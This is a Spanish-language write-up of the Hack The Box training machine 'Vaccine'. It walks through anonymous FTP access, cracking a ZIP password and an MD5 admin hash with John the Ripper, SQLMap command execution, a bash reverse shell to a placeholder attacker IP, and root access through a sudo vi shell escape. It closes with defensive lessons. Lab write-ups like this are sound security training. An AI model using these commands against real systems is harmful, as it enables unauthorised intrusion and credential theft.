Volver a Writeups
Hack The Box Very Easy 🐧 Linux Starting Point

Vaccine

Vaccine pone a prueba habilidades de enumeración y password cracking. El acceso anónimo a FTP expone un archivo ZIP protegido con contraseña que puede crackearse con John The Ripper. Dentro del ZIP hay código fuente PHP con el hash MD5 de las credenciales del admin. Luego se explota una SQL Injection en la aplicación web para obtener RCE como postgres. La escalada se logra abusando del permiso sudo sobre el editor vi (shell escaping).

FTP Anonymous Password Cracking SQL Injection SQLMap sudo Abuse Shell Escaping

Reconocimiento

El servidor expone tres servicios: FTP (21), SSH (22) y HTTP (80). Lo primero a probar es siempre el FTP con usuario anónimo.

FTP Anónimo — Backup ZIP

bashConexión FTP anónima
ftp 10.129.95.174
# User: anonymous
# Password: (enter vacío)

ftp> ls
# -rwxr-xr-x  1 0  0  2533 Apr 13 2021 backup.zip
ftp> get backup.zip

Cracking del ZIP — zip2john + John

bashzip2john y cracking
zip2john backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Resultado:
# 741852963  (backup.zip)

unzip backup.zip
# Password: 741852963

Credenciales MD5 en Código Fuente

El archivo index.php del ZIP contiene lógica de login con el hash MD5 de la contraseña del admin hardcodeado:

phpindex.php — hash MD5
if($_POST['username'] === 'admin' &&
   md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
bashCracking del hash MD5
echo "2cb42f8734ea607eefed3b70af13bbd3" > passwd-admin.txt
john --format=raw-MD5 passwd-admin.txt --wordlist=rockyou.txt
john --show --format=raw-MD5 passwd-admin.txt

# Resultado: qwerty789

SQL Injection — SQLMap + OS Shell

Accedemos al panel web con admin:qwerty789. La barra de búsqueda en dashboard.php?search= es vulnerable a SQLi. Usamos SQLMap pasando nuestra cookie de sesión para saltarnos el login:

bashSQLMap con sesión autenticada
sqlmap -u 'http://target/dashboard.php?search=test' \
  --cookie='PHPSESSID=TU_SESSID' \
  --os-shell

# os-shell> bash -c "bash -i >& /dev/tcp/TU_IP/443 0>&1"

SQLMap detecta PostgreSQL como backend y usa COPY ... FROM PROGRAM para lograr ejecución de comandos. Obtenemos shell como el usuario postgres.

bashNota: Firewall en Fedora/Linux desktop
# Si la reverse shell no llega, es posible que firewalld bloquee el tráfico VPN
sudo firewall-cmd --zone=trusted --add-interface=tun0
# Esto permite tráfico entrante solo en la interfaz VPN (temporal, se pierde al reiniciar)

Escalada de Privilegios — sudo + vi (Shell Escaping)

Dentro del sistema encontramos credenciales de PostgreSQL en el código fuente de la app: P@s5w0rd!. Con esa contraseña revisamos los permisos sudo:

bashsudo -l
echo "P@s5w0rd!" | sudo -S -l
# User postgres may run the following commands on vaccine:
# (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

El administrador cometió el error de permitir vi con sudo. Vi puede ejecutar comandos del sistema operativo desde su modo de comandos — esto se conoce como Shell Escaping:

bashShell Escaping en vi → root
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

# Dentro de vi, escribir:
:!/bin/sh

# Resultado: shell como root
# root@vaccine:~# cat root.txt
# dd6e058e814260bc70e9bbdef2715849

Lecciones Aprendidas

  • El acceso FTP anónimo nunca debe exponer archivos con información sensible.
  • Los hashes MD5 hardcodeados en código son fácilmente crackeables con diccionarios como rockyou.txt.
  • Las aplicaciones deben usar prepared statements para prevenir SQL Injection.
  • Al configurar sudo, nunca permitir editores de texto (vi, nano, etc.) — son trivialmente abusables para shell escaping. Consultar GTFOBins.
vaccine